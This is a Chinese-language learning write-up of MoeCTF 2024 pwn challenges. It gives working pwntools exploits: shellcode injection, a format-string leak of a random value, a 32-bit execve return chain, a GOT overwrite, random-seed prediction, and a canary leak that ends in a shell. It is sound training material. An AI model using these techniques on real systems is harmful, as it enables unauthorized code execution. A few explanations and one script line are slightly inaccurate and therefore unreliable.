MoeCTF2024做题笔记

复现平台:MoeCTF 2024 - 西电 CTF 终端

题目:NotEnoughTime

在正式开始 Pwn 之前,我需要先检测一下你的数学 (?) 能力...

Snipaste_2025-03-28_20-44-32

我也是疯了,竟然真想跟它拼手速😅

就考验用python来写pwn基础脚本的能力,好吧,这的确是我缺少的

题解​:

本题考察 Pwntools 基本用法,虽然是简单的计算加减乘除,但是在输出算式时刻意添加延迟营造网络卡顿环境,并且算式存在多行情况,意在引导使用 recvuntil​。注意在使用 Python eval前需要去除多行算式中的 \n以及末尾的 =以符合 Python 语法。除法是整数除法,在 Python 语法中为 // ​。

比赛期间注意到很多选手把除法看作浮点数运算,由此触发了许多奇怪的 bug(出题时并没有考虑到会有浮点数输入的情况)。于是临时新增了一个提示。

Exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

io = ...

io.sendlineafter(b"=", b"2")
io.sendlineafter(b"=", b"0")
io.recvuntil(b"!")

for _ in range(20):
io.sendline(
str(
eval(
io.recvuntil(b"=")
.replace(b"\n", b"")
.replace(b"=", b"")
.replace(b"/", b"//")
.decode()
)
).encode()
)

io.interactive()

脚本功能解析

  1. 初始部分

    1
    2
    from pwn import *
    io = ...
    • 使用pwntools库进行二进制交互
    • io​代表与目标程序的连接(可能是远程服务或本地程序)
  2. 初始交互

    1
    2
    3
    io.sendlineafter(b"=", b"2")
    io.sendlineafter(b"=", b"0")
    io.recvuntil(b"!")
    • 回答前两个预设问题:

      • 第一个问题(如”1 + 1 =“)回答”2”
      • 第二个问题(如”4 / 3 - 1 =“)故意回答错误的”0”
    • 接收直到感叹号的输出

  3. 自动解题循环

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    for _ in range(20):
    io.sendline(
    str(
    eval(
    io.recvuntil(b"=")
    .replace(b"\n", b"")
    .replace(b"=", b"")
    .replace(b"/", b"//")
    .decode()
    )
    ).encode()
    )
    • 循环处理20个数学问题

    • 工作流程:

      1. 接收直到等号(“=“)的问题字符串

      2. 预处理:

        • 移除换行符
        • 移除等号
        • 将除法符号”/“替换为”//“(Python中的整数除法)
      3. 使用Python的eval()​计算表达式结果

      4. 将结果转换为字符串并发送

  4. 最后交互

    1
    io.interactive()
    • 在完成所有计算后,将控制权交给用户进行手动交互

技术细节说明

  1. 数学表达式处理

    • 使用eval()​动态执行数学表达式

    • 将”/“替换为”//“确保进行整数除法(避免浮点数结果)

    • 示例转换:

      1
      "4 / 3 - 1" → "4 // 3 - 1" → eval结果为1
  2. 二进制数据处理

    • b"="​等表示字节字符串(二进制模式)
    • .decode()​将字节串转换为普通字符串
    • .encode()​将字符串转换回字节串发送
  3. pwntools函数

    • sendlineafter()​:在收到指定模式后发送数据
    • recvuntil()​:接收数据直到指定模式
    • interactive()​:进入交互模式

Python eval() 函数

描述

eval() 函数用来执行一个字符串表达式,并返回表达式的值。

字符串表达式可以包含变量、函数调用、运算符和其他 Python 语法元素。

语法

以下是 eval() 方法的语法:

1
eval(expression[, globals[, locals]])

参数

  • expression – 表达式。
  • globals – 变量作用域,全局命名空间,如果被提供,则必须是一个字典对象。
  • locals – 变量作用域,局部命名空间,如果被提供,可以是任何映射对象。

eval() 函数将字符串 expression 解析为 Python 表达式,并在指定的命名空间中执行它。

返回值

eval() 函数将字符串转换为相应的对象,并返回表达式的结果。


实例

以下展示了使用 eval() 方法的实例:

实例 1

>>>x = 7>>> eval( ‘3 * x’ )21>>> eval(‘pow(2,2)’)4>>> eval(‘2 + 2’)4>>> n=81>>> eval(“n + 4”)85

实例 2

执行简单的数学表达式

result = eval(“2 + 3 * 4”)
print(result) # 输出: 14

执行变量引用

x = 10
result = eval(“x + 5”)
print(result) # 输出: 15

在指定命名空间中执行表达式

namespace = {‘a’: 2, ‘b’: 3}
result = eval(“a + b”, namespace)
print(result) # 输出: 5

注意: eval() 函数执行的代码具有潜在的安全风险。如果使用不受信任的字符串作为表达式,则可能导致代码注入漏洞,因此,应谨慎使用 eval() 函数,并确保仅执行可信任的字符串表达式。

题目:ez_shellcode

肆意溢出并构造shellcode吧!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.terminal = ['wt.exe','wsl']
context.log_level = 'debug'
context.arch = 'amd64'
p = process('./pwn')
p.recvuntil("age")
p.sendline('130')
p.recvuntil("you :\n")
buf_addr = int(p.recvuntil('\n').decode(), 16)
log.success(buf_addr)
log.success(type(buf_addr))
payload = asm(shellcraft.sh()).ljust(0x68,b'a') + p64(buf_addr)
p.recvuntil("say")
p.send(payload)
p.interactive()

题目:leak_sth

简单的猜数字,够幸运就来试试吧。

运行一下附件 pwn

1

看看main()函数

2

看看func()函数

4

有后门函数backdoor()

有printf()函数,可以用用格式化字符串漏洞

由代码可知,如果变量 v3 = v2 就可以执行backdoor()函数

5

通过格式化字符串,泄露(leak) v3的值,关键是确定变量 v3 是printf()函数的第几个参数

学会了用gdb来调试程序以确定变量v3在栈中的位置,为第几个参数,也是记录下这题的原因🥰(pwn的学习之路还很漫长,但又向前走了一小步😉,更加了解gdb的用法🚩)

1. 函数栈帧分析

函数 func()​ 的局部变量在栈上的布局如下(x86-64 架构,假设栈从高地址向低地址增长):

c语言

1
2
3
4
5
6
7
8
unsigned __int64 func()
{
// ... 变量声明
__int64 v2; // [rsp+0h] [rbp-40h]
__int64 v3; // [rsp+8h] [rbp-38h]
char buf[40]; // [rsp+10h] [rbp-30h]
unsigned __int64 v5; // [rsp+38h] [rbp-8h] (Canary)
}

对应的栈布局(低地址在上,高地址在下):

栈偏移(相对于 rbp) 变量 大小
rbp-0x40 v2 8字节
rbp-0x38 v3 8字节
rbp-0x30 buf[40] 40字节
rbp-0x08 v5​(Canary) 8字节

2. printf(buf)调用时的栈状态

printf(buf)​ 被调用时,x86-64 的调用约定如下:

  • 前 6 个参数通过寄存器传递:rdi​, rsi​, rdx​, rcx​, r8​, r9​。
  • 其余参数通过栈传递。

对于 printf(buf)​:

  1. 第一个参数(格式化字符串)buf​ 的地址通过 rdi​ 传递(不占用栈空间)。
  2. 后续参数:如果 buf​ 中包含格式化占位符(如 %p​, %x​, %ld​),printf​ 会从 rsi​, rdx​, rcx​, r8​, r9​ 依次读取,之后从栈上读取。

c语言

1
2
3
4
5
6
7
8
unsigned __int64 func()
{
// ... 变量声明
__int64 v2; // [rsp+0h] [rbp-40h]
__int64 v3; // [rsp+8h] [rbp-38h]
char buf[40]; // [rsp+10h] [rbp-30h]
unsigned __int64 v5; // [rsp+38h] [rbp-8h] (Canary)
}

3. 确定 v3 是第几个参数

我们需要找到 v3​ 在 printf​ 参数列表中的位置:

  1. printf的栈参数起始位置

    • 在 x86-64 中,printf​ 的栈参数从 rsp+8​ 开始(因为 call printf​​ 会将返回地址 rip​​ 压栈,占 8 字节)。
  2. v3的栈地址

    • v3​ 位于 rbp-0x38​。
    • 当前 rsp​ 的值:调用 printf​ 时,rsp​ 会指向返回地址(即 rbp-0x40​ 是 v2​,rbp-0x38​ 是 v3​)。
    • 因此,v3​ 的地址是 rsp + 0x8​(因为 rbp-0x38 = rsp + 0x8​)。
  3. 参数位置计算

    • 前 6 个格式化字符串参数通过寄存器传递(rdi​, rsi​, rdx​, rcx​, r8​, r9​),第 7 个开始从栈上读取。
    • v3​ 位于 rsp+8​,因此它是 第 7 个参数(因为栈参数从 rsp+8​ 开始,对应第 7 个)

但用IDA得到的数据虽然大部分时候是正确,但有时候也会有误,最好要用gdb调试一下,以gdb的调试结果为准。

pion@ubuntu:~/Desktop/challege$ gdb pwn

pwndbg> b printf Breakpoint 1 at 0x1110 pwndbg> r

6

7

在GDB中可以用·p指令将16进制数转换成二进制数

这样就leak v3的值(v3是一个random,每次都会随机生成不一样的数)

将得到的v3的值发过去就getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

io = process('./pwn')
#io = remote('192.168.75.1', 55780)

io.recvuntil('name?')

gdb.attach(io)

io.send('%7$ld')

io.recvuntil('name:\n')

num = int(io.recvuntil('G')[:-1])
print(num)
io.recvuntil('number\n')

io.sendline(str(num))

io.interactive()

题目:这是什么?32-bit!

Linux 遵循的 AMD64 System V ABI 使用 6 个寄存器(rdi、rsi…)传递函数参数,参数数量大于 6 个时才继续使用栈传递参数。然而 32 位程序只使用栈传递参数,参数从右至左依次入栈。

4

程序附件是32位小端序

main()函数长这样

1

vuln()函数长这样

2

先来了个getchar(),再 scanf 输入数据到变量v1中

有后门函数backdoor(),去看看

3

有 execve()但参数是错的

execve()​ 函数详解

execve()​ 是 Unix/Linux 系统中的一个重要系统调用,用于执行一个新的程序。它会用指定的程序完全替换当前进程的内存空间。

函数原型

1
2
3
#include <unistd.h>

int execve(const char *path, char *const argv[], char *const envp[]);

参数说明

  1. path:

    • 要执行的可执行文件的完整路径
    • 例如:/bin/ls​, /usr/bin/env
  2. argv​ (参数向量):

    • 字符串指针数组,表示传递给新程序的参数
    • 第一个参数通常是程序名称本身
    • 数组必须以 NULL​ 指针结尾
    • 例如:{"ls", "-l", NULL}
  3. envp​ (环境变量):

    • 字符串指针数组,表示新程序的环境变量
    • 每个字符串通常是 "VAR=value"​ 形式
    • 数组必须以 NULL​ 指针结尾
    • 可以传递 environ​ 全局变量来继承当前环境

返回值

  • 成功时:不返回(因为原进程已被替换)
  • 失败时:返回 -1,并设置 errno

shift+F12查看字符串

5

程序存在/bin/sh,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context(os='linux', arch='i386', log_level='debug')
io = process('./backdoor')
elf = ELF('./backdoor')
payload = b'a'(0x28) + b'b'4
payload += flat([
elf.sym['execve'], # `vuln` 返回地址
0, # `execve` 返回地址
next(elf.search(b'/bin/sh')), # `execve` 参数 `pathname`
0, # `execve` 参数 `argv`
0, # `execve` 参数 `envp`
])
#gdb.attach(io)
io.sendline() # getchar()
io.sendline(payload)
io.interactive()

1.payload += flat([ ... ])

  • flat([...]) ​:

    • flat()​ 是 pwntools​ 提供的函数,用于将多个值打包成二进制数据(自动处理大小端)。
    • 这里构造的是 ROP 链,用于调用 execve("/bin/sh", 0, 0)​。

2. e.search(b'/bin/sh')的作用

  • e​ 是 ELF​ 对象(通过 ELF("./binary")​ 加载),代表目标二进制文件。
  • e.search(b'/bin/sh') ​ 会 在二进制文件的所有可读内存段(如 .text​ **、**​ .data​ **、**​ .rodata)中搜索字节序列 b'/bin/sh' ​。
  • 它返回一个 生成器(generator) ,包含所有匹配的地址。

3. next()的作用

  • e.search()​ 返回的是 生成器(可能有多个匹配项),但我们通常只需要 第一个匹配的地址
  • next() ​ 用于获取生成器的 第一个结果(即第一个 /bin/sh​ 的地址)。
  • 如果没有找到 /bin/sh​,next()​ 会抛出 StopIteration​ 异常(说明需要换其他方法,比如从 libc 里找)。

题目:这是什么?GOT!

现代 Linux 可执行文件基本都是动态链接的 ELF 格式文件。大多数程序运行时都需要使用外部库函数(libc​!),动态连接器 ld​ 架起了程序与动态链接库之间的桥梁。程序内部的 GOT(全局偏移表)负责记录这些库函数真正的地址或用于调用动态链接器的 PLT(过程链接表)项地址(首次调用前)。动态链接程序运行时不直接调用库函数,而是调用 PLT 项。在未完全开启 RELRO(重定向只读)保护时,我们可以在运行时修改 GOT!

试着在静态分析软件里实际看看这两个表,再动态调试单步进入走一遍动态链接库函数的调用过程。

拿到附件,先看看有啥保护? GOT表(一般GOT表都是默认是指 got.plt 节)可写

1

Partial RELRO (RELocation Read-Only) 详解

Partial RELRO 是一种二进制安全缓解技术,属于 RELRO(重定位表只读)的”部分启用”模式,旨在提高程序安全性但不如 Full RELRO 严格。

核心特点

  1. GOT 保护机制

    • .got 节(非延迟绑定的函数表) :设置为只读
    • .got.plt 节(延迟绑定的函数表,如 libc 函数) :保持可写
  2. 加载时行为

    • 程序启动时解析所有非延迟绑定的符号地址(如全局变量)
    • 延迟绑定的函数(如 libc 函数)仍在使用时才解析
  3. 安全影响

    • 防止覆盖已解析的非延迟绑定符号
    • 仍允许修改 .got.plt 中的函数指针(如 printf@got.plt​)

与 Full RELRO 对比

特性 Partial RELRO Full RELRO
.got.plt 可写性 可写 只读
延迟绑定 启用 禁用
启动性能 较快 较慢(全部预先解析)
安全强度 中等 最高
对抗 GOT 覆盖攻击 部分防护 完全防护

看看 main() 函数

2

没有变量,但read() 函数读入的数据指向一个内存地址&off_404000,可以去看看。

3

我们点击&off_404000后,发现它是 GOT/PLT 表中 puts 函数的入口地址 0x404000

问问Deepseek,了解一下 off_404000:

1. 符号 off_404000的含义

  • off_404000​ 是一个标签(label),代表 puts​ 函数在 GOT/PLT 表中的条目地址0x404000​)。
  • 它的值是 offset puts​,即动态链接后 puts​ 函数的实际地址会被填充到这里(初始时指向 PLT 的解析逻辑)。

2. &off_404000的解析

  • &是取地址运算符,所以 &off_404000​ 直接获取符号 off_404000​ 的地址。
  • 由于 off_404000​ 本身的地址是 0x404000​,因此 &off_404000 = 0x404000​。

3. 结合题目代码的漏洞点

在题目中:

c

1
read(0, &off_404000, 0x40uLL); // 向地址 0x404000 写入最多 64 字节数据
  • 攻击者可以向 0x404000写入数据,覆盖从 puts​ 开始的连续 GOT 表项(包括 write​、system​、printf​ 等)。
  • 因为 GOT 表项是连续的,写入 0x40​(64)字节可以覆盖到 exit​ 的 GOT 表项(0x404038​)。

4. GOT 表结构示意图

1
2
3
4
5
6
7
8
9
地址        内容(初始指向 PLT 解析逻辑)
0x404000 off_404000 -> puts
0x404008 off_404008 -> write
0x404010 off_404010 -> system
0x404018 off_404018 -> printf
0x404020 off_404020 -> alarm
0x404028 off_404028 -> read
0x404030 off_404030 -> setvbuf
0x404038 off_404038 -> exit

5. 为什么这是关键漏洞?

  • GOT 表可写(Partial RELRO 下):通过覆盖 exit​ 的 GOT 表项(0x404038​),可以将其改为 system​ 的地址(0x404010​)。
  • 当程序调用 exit(0)​ 时,实际会跳转到 system​ 函数,如果此时栈上或寄存器中有 /bin/sh​ 字符串,就能获得 shell。

6. 攻击 Payload 示例

python

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

# 覆盖从 puts 开始的 GOT 表项
payload = p64(0x404010) # 覆盖 puts -> system
payload += p64(0x404010) # 覆盖 write -> system
payload += p64(0x404010) # 覆盖 system -> system(占位)
payload += p64(0x404010) # 覆盖 printf -> system
payload += p64(0x404010) # 覆盖 exit -> system

# 发送 payload 后,程序调用 exit(0) 时会实际执行 system(0)
# 若在输入中传入 "/bin/sh\x00",且 rdi 指向它,即可获取 shell
p.send(payload + b"/bin/sh\x00")

总结

  • &off_404000​ 是地址 0x404000​,即 GOT 表中 puts​ 的条目地址。
  • 通过覆盖 GOT 表,可以劫持函数调用流,这是 Partial RELRO 下的常见攻击手法。

程序调用完 read() 函数后,就直接调用 exit() 函数,结束程序

通过覆盖 exit​ 的 GOT 表项(0x404038​),可以将其改为 system​ 的地址(0x404010​)。

当程序调用 exit(0)​ 时,实际会跳转到 system​ 函数,如果此时栈上或寄存器中有 /bin/sh​ 字符串,就能获得 shell。

shift + F12 看看字符串String

4

既有 systen() 函数,又有 /bin/sh ,可以期待一下程序会不会直接给出后门函数了,把右边的函数列表一个一个给点开看看,

5

这不就有了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

context(os='linux', arch='i386', log_level='debug')

#io = process('./pregot')
io = remote('192.168.75.1', 62438)
elf = ELF('./pregot')

unreachable = 0x401196
#system = elf.plt['system']
system = 0x401056

payload = p64(system)*7 + p64(unreachable)
#gdb.attach(io)
io.recvuntil("This is `puts`.\n")

io.send(payload)

io.interactive()

划重点:

1.(从大神uf4te的博客PLT表和GOT表 | 坠入星野的月🌙上搬下来的知识点,讲的不是这道题,但没关系,学的是知识)

    1. elf.plt['write']​ 输出的地址为 0x401030,与 IDA 中 _write​ 地址相同,即 .plt 地址
    2. elf.got['write']​ 输出的地址为 0x404018,该地址存放了真正的 write()​ 函数地址,在 IDA 中为 write​ 的 .got.plt 地址
    3. elf.symbols['write']​ 输出的地址为 0x401030,与 write()​ 函数的 PLT 地址相同
    4. elf.symbols['main']​ 输出的地址为 0x401153,为 main()​ 函数的地址,与 IDA 中 main()​ 函数地址相同
  • 由此可见:

    1. elf.plt[]​ 获取动态链接库中的函数的 .plt 地址
    2. elf.got[]​ 获取动态链接库中的函数的 .got.plt 地址
    3. elf.symbols[]​ 获取程序本身的函数的地址,用于动态链接库中的函数时,获取的是 PLT 地址

2.为什么我在脚本里写入system_addr = elf.plt[‘system’]无法getshell,改为system_addr = 0x401056就可以getshell(这里就涉及到 PLT 条目的结构细节)

我最初的脚本是这样写的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context(os='linux', arch='i386', log_level='debug')

io = process('./pregot')
#io = remote('192.168.75.1', 62438)
elf = ELF('./pregot')

unreachable = 0x401196
system = elf.plt['system'] !!!!!!!!!!!!!!!!!!!!!!!!!(这加 !仅仅是为了强调)

payload = p64(system)*7 + p64(unreachable)
#gdb.attach(io)
io.recvuntil("This is `puts`.\n")

io.send(payload)

io.interactive()

结果:getshell 失败

6

这里可以从DEBUG给出的信息看看,我用于覆盖地址的system = elf.plt [‘system’] = 0x00000000000401050(前面的00没影响,简记为0x401050)(从左往右一个字节一个字节的取下来)

修改过后的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context(os='linux', arch='i386', log_level='debug')

io = process('./pregot')
#io = remote('192.168.75.1', 62438)
elf = ELF('./pregot')

unreachable = 0x401196
#system = elf.plt['system']
system = 0x401056 !!!!!!!!!!!!!!!!!!!!!!!!!(这加 !仅仅是为了强调)

payload = p64(system)*7 + p64(unreachable)
#gdb.attach(io)
io.recvuntil("This is `puts`.\n")

io.send(payload)

io.interactive()

7

那么问题来了,0x401050和0x401056 分别在哪里?

8

关于 PLT 跳转地址选择问题的分析

下面我将详细解释为什么 0x401056​ 能成功而 0x401050​ 不能。

PLT 条目结构解析

对于 system​ 函数的 PLT 条目:

asm

1
2
3
4
5
_system proc near
jmp cs:off_404010 ; 第一次跳转到 GOT 表(初始指向下一行)
push 2 ; 函数在重定位表中的索引
jmp sub_401020 ; 跳转到动态链接器解析函数
_system endp

关键区别

  1. 0x401050(第一条指令)

    • 这是 PLT 的常规入口点
    • 第一次调用时会跳转到 GOT 表(初始指向 push 2​ 指令)
    • 之后会通过动态链接器解析真实地址
    • 直接跳转到这里会导致无限循环:因为 GOT 未初始化时会指回 PLT,PLT又会指向GOT
  2. 0x401056(push 指令)

    • 这是动态链接的解析路径入口
    • 跳过第一条 jmp​ 指令
    • 强制触发动态链接器解析函数地址
    • 解析完成后,GOT 表会被填充为真实地址

为什么第二个能成功?

  1. 强制解析机制

    • 跳转到 0x401056​ 会直接执行 push 2; jmp resolver
    • 动态链接器会填充 system​ 的真实地址到 GOT 表
    • 后续调用就能直接跳转到真实 system
  2. 避免循环

    • 跳转到 0x401050​ 会导致 PLT→GOT→PLT 的循环
    • 0x401056​ 直接进入解析流程

总结

  • 0x401050​ 是常规 PLT 入口,依赖已解析的 GOT 表
  • 0x401056​ 是解析路径入口,强制动态链接器工作
  • 在漏洞利用中,明确你需要的执行路径非常重要

这种细微差别正是二进制漏洞利用中需要特别注意的地方,理解 PLT/GOT 的工作机制对成功利用至关重要。

题目:这是什么?random!

你知道吗?计算机中很多所谓随机都是“伪随机”,生成随机数前需要提供“种子”,如果种子一样算法一样那么生成的随机数就一样!然而还有些“真随机”,无需种子也无法预测。

你需要在 GNU/Linux 环境中模拟随机过程,不同环境对 random​ 的实现可能不同。

10

你只要在三次猜数字的环节中至少猜对一个,你就能看到 flag(因为程序最后还是会输出 flag)。

🔢 第一阶段:循环猜数字

1
2
3
4
5
6
7
8
9
10
11
12
13
while ( tests-- )
{
secret = random() % 90000 + 10000;
printf("Guess a five-digit number I'm thinking of\n> ");
fflush(stdout);
__isoc99_scanf("%u", &guess);
if ( guess != secret )
{
puts("Wrong.");
exit(1);
}
puts("Wow, you are right!");
}
  • 这里用的是 random()​,种子是前面设定的:
1
2
3
timer = time(0LL);
v3 = localtime(&timer);
srandom(v3->tm_yday);
  • srandom(v3->tm_yday);​ 也就是说,种子是今天是一年中的第几天tm_yday​),这个值是 0~365 的整数,极其容易爆破!

利用方式

  • 我们可以写一个小脚本模拟这个 random()​ 的过程,从 0 到 365 爆破一天,然后尝试预测 random()​ 生成的数字,猜中即通过。

当然你还要知道 tests​ 是多少次循环,可以通过静态分析(或调试)确认。

11

dq 0Ah​ 的含义

  • dq​ (Define Quad-word)

    • 表示在内存中分配一个 8字节(64位) 的空间(x86-64架构的标准字长)

    • 类似的数据定义指令还有:

      • db​ (1字节)
      • dw​ (2字节)
      • dd​ (4字节)
  • 0Ah

    • 十六进制值 0xA​,对应十进制 10
    • 因此 tests​ 的初始值被设为 10

🔐 第二阶段:/dev/random

1
2
3
4
random_file = fopen("/dev/random", "rb");
fread(&secret, 4uLL, 1uLL, random_file);
fclose(random_file);
secret = secret % 0x15F90u + 10000;
  • 这里从 /dev/random​ 读取 4 字节随机数,然后限制到 10000~89999​ 之间。
  • 因为 /dev/random​ 是系统强熵源,你无法预测这个数字。

❌ 无法预测。


🌀 第三阶段:arc4random

1
secret = (unsigned int)arc4random() % 0x15F90 + 10000;
  • arc4random()​ 是 libc 内部实现的安全随机数生成器,同样无法预测

❌ 无法预测。


✅ 最后:flag 仍然给你!

1
2
3
4
puts("You only got two of them wrong, flag still for you.");
stream = fopen("flag", "r");
...
puts(lineptr);

即使你只对了第一阶段(可预测)而第二、三阶段都错了,也会输出 flag!


💡 总结:利用策略

你只要猜中第一轮(即使用 srandom(tm_yday)​ 预测 random()​),就能拿到 flag。

可以写一个利用脚本如下(Python 伪代码):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
from ctypes import cdll # cdll 用于调用系统的 libc(也就是模拟题目中的 srandom 和 random)
from time import localtime # localtime() 是 Python 的函数(不是 C 的)

io = ...

libc = cdll.LoadLibrary("libc.so.6")
libc.srandom(localtime().tm_yday - 1) # 注意 Python `time.localtime` 与 C 标准库的同名函数行为不同。

for _ in range(10):
io.sendlineafter(b"\n", str(libc.random() % 90000 + 10000).encode())

io.sendlineafter(b"\n", str(42).encode()) # 任意值
io.sendlineafter(b"\n", str(42).encode()) # 任意值

io.interactive()

题目为猜数字游戏,生成随机数的种子是 一年中当前天数 - 1(localtime(…).tm_yday)。照抄附件程序中生成随机数的逻辑并预先生成好 10 个随机数并依次输入即可。为方便,也可使用 Python ctypes。

💡 核心细节:种子设置

1
2
libc = cdll.LoadLibrary("libc.so.6")
libc.srandom(localtime().tm_yday - 1)

这是全剧的核心!

  • 脚本作者发现:题目用的是 tm_yday作为种子
  • 但 Python 的 time.localtime()​ 返回的 tm_yday​ 是 1-based(范围是 1~366​)
  • 而 C 的 tm_yday​ 是 0-based(范围是 0~365​)

👉 所以要减 1 才能和题目里的 srandom(tm_yday)​ 行为一致!

🎯 猜数字核心逻辑

1
2
for _ in range(10):
io.sendlineafter(b"\n", str(libc.random() % 90000 + 10000).encode())
  • 题目要你猜 10 个五位数
  • 用 Python 本地的 libc 和题目一样的种子模拟出同样的 random()​ 序列
  • 然后直接 sendline 猜中!

题目:这是什么?shellcode!

Snipaste_2025-04-13_20-50-10

程序反编译失败

Snipaste_2025-04-13_22-29-01

有题目可知,这是一道简单的shellcode,程序直接调用read()读入我们的输入到栈上,再将栈上的输入存进 rdx 寄存器,再调用rdx寄存器(!!!),call 指令只能用来调用函数,而寄存器中存的是数值,IDA反编译时不知道 rdx寄存器中存进的会是一段可执行的机器码,所以报错。

Snipaste_2025-04-13_22-37-56

选取这段汇编,Ctrl+n 将它换为 nop(一个无意义的填充物)

Snipaste_2025-04-13_22-38-08

再按F5,反编译成功

Snipaste_2025-04-13_22-40-18

buf到栈底的距离为0X110,程序限制输入长度为0x100,这里无法栈溢出

Snipaste_2025-04-13_22-41-46

GOT表可写,堆栈可行,存在同时具备读、写、执行权限的内存段(shellcode)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#io = process('./preshellcode')
io = remote('192.168.75.1', 55722)
shellcode = """
xor rdx,rdx #将rdx自己与自己异或,结果为0,并存入rdx寄存器中(前面那个)
push rdx #将rdx中的0,压入栈中,成为新的栈顶元素,也可以理解为赋值给rsp
mov rsi,rsp #将rsp栈顶地址(指向0),赋给rsi寄存器
mov rax,0x68732f2f6e69622f #rax = "/bin//sh" 的 ASCII 编码
push rax #将/bin//sh压入栈
mov rdi,rsp #将rsp栈顶地址(指向/bin//sh),赋给rdi寄存器
mov rax,59 #将59(execve的系统调用号)存入rax寄存器
syscall #触发系统调用
"""

payload = asm(shellcode)

io.recvuntil("> ")
io.sendline(payload)

io.interactive()

题目:Catch_the_canary!

Canary in a coalmine.

你听说过金丝雀(canary)吗?我在栈里养了一只,关在笼子里。下次你再把栈玩坏的时候,它会告诉我。只准看不准碰嗷。

Snipaste_2025-04-14_20-51-54

Snipaste_2025-04-14_21-03-42

这题主要有四道验证(其他的不需要专门记录)

按 shift + F12,查看字符串

Snipaste_2025-04-14_20-55-32

既有 system 函数,又有 /bin/sh,可以期待一下会不会直接给出后门了,在函数里翻翻找找,还真有

Snipaste_2025-04-14_20-57-13

那这样的话,这题主要需要突破 main() 里的四道验证,然后直接ret2txt到达后门函数就getshell了。

然我们在好好看看这四道验证。

Snipaste_2025-04-14_20-51-54

首先生成了两个随机数(没有随机数种子,看来是真随机),v3和v8,将 v3 经过了一番操作后,给了v9[0]。

来到第一关

要求输入的值,必须等于随机数v8,且不等于 -1,若不满足条件,则重复循环,好好看看v8的生成过程

1
v8 = (unsigned int)arc4random(argc, 0LL, v4) % 0x2345 + 16768186;

发现 16768186 <= v8 <= 16768186 + 0x2345(=9029),这个范围比较小,且程序语序我们重复输入,就可以直接爆破

cage_bak = v9[0]; // 备份初始值,后续会检验cage_bak ?= v9[0],即检验v9[0]是否还是原来的值,有无被覆盖成其他值

来到第二关

先输入值到 v[0],v[1],v[2] (程序定义的数组是__int64 v9[2];,实际数组只有v9[0],v9[1],不包含v9[2],那这里读入的v9[2]到哪里去了?)v9[2]是v9[1]的下一个8字节地址,而实际上v9[1]的下一个8字节地址是 v10,所这里我们输入的数据实际上到了v10。

程序写的是

1
v10 = 182271573LL;

v10 = 182271573,(LL代表定义的是一个它是一个长整数,是个 64 位的整数)

验证要求:v10 = 195874819

1
2
3
4
5
6

if ( v10 != 195874819 )
{
write(1, "[FATAL] Canary under attack. Shutting down...\n", 0x2EuLL);
_exit(1);
}

所以这关只需当i = 2 时,输入195874819,来覆盖v10即可。

来到第三关

前面令cage_bak = v9[0];​,后面又检验cage_bak ?= v9[0];​,不等就退出程序

1
2
3
4
5
if ( v9[0] != cage_bak )
{
write(1, "[FATAL] Hacker!\n", 0x10uLL);
_exit(1);
}

前面说过,v9[0] 是一个真随机数,无法预测,而又要scanf(),输入数据到v9[0],v9[1],我们既无法知道v9[0]会是多少,也几乎不可能猜中,怎么办呢?😧 (hint)🥰

Snipaste_2025-04-14_22-16-08

哇!

✅ scanf 输入 +​ 或 -​ 的绕过特性

scanf("%zu", &x)​ 或 scanf("%u", &x)​ 在读取无符号数字时,如果输入的是非法的内容(比如 +​ 或 -​ 而没有数字),scanf会返回 0​,并不会改变 x的值,而且不会跳过这一轮循环,而是进入下一个 scanf​。

但注意:

  • 如果输入的是 -1​,那么 scanf​ 会读入一个非常大的无符号数(2^64 - 1),因为是 %zu​。
  • 如果你输入的是纯符号(如 +​ 或 -​),scanf​ 不会读取成功,但它也不会消费掉输入,可能导致死循环。

在这题里,这个特性可以用来跳过输入某些字段。

来到第四关
1
2
3
4
read(0, buf, 0x30uLL);
puts(buf);
read(0, buf, 0x30uLL);
return 0;

不用多说,通过栈溢出覆盖canary的最低的第8位字节位 \x00(空字节),使得puts()不会因为遇到空字节(\x00)而停止输出,从而在把 buf 输出的同时连带着我们 canary 的前7个字节一起输出,就可以得到canary的值

就此,四关已过,getshell,上脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io = process('./mycanary')
#io = remote('192.168.75.1', 54712)
aim = 0x4012C9
io.recvuntil(b"[Info] Password required.\n")
for g in range(16768186, 16768186 + 9029):
io.sendline(str(g).encode())
output = io.recvuntil(b']')
if b"Error" not in output:
break
#gdb.attach(io)
#pasue()
io.recvuntil(b"One shot.\n")
io.sendline(b"-")
io.sendline(b"1")
io.sendline(str(0xbacd003).encode()) # 195874819 = 0xbacd003

io.send(cyclic(25))
io.recvuntil(b'g')
canary = u64(io.recv(7).rjust(8, b'\x00'))
payload = cyclic(24) + p64(canary) + b'a'*8 + p64(aim)
print(hex(canary))
#gdb.attach(io)
io.sendline(payload)
io.interactive()

最后的最后,还有一点要提出来学习的。

1
2
io.send(cyclic(25))
io.recvuntil(b'g')

我们用cyclic 生成25个字节,为什么可以确定第25个字节是 g !,从而单独取出后面带出来的 canary ?

pwntools 中,cyclic​ 生成的字符串不一定以 'g'结尾,它的结尾字符取决于你请求的长度和 cyclic​ 的内部模式。以下是详细分析:


1. cyclic的默认行为

cyclic​ 生成的字符串是一个循环递增的 4 字节序列,其字符顺序遵循:

复制

1
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama...
  • 每 4 字节为一组,按字母表顺序递增(a​ → b​ → c​ → … → z​)。

  • 是否以 'g'结尾取决于输入长度

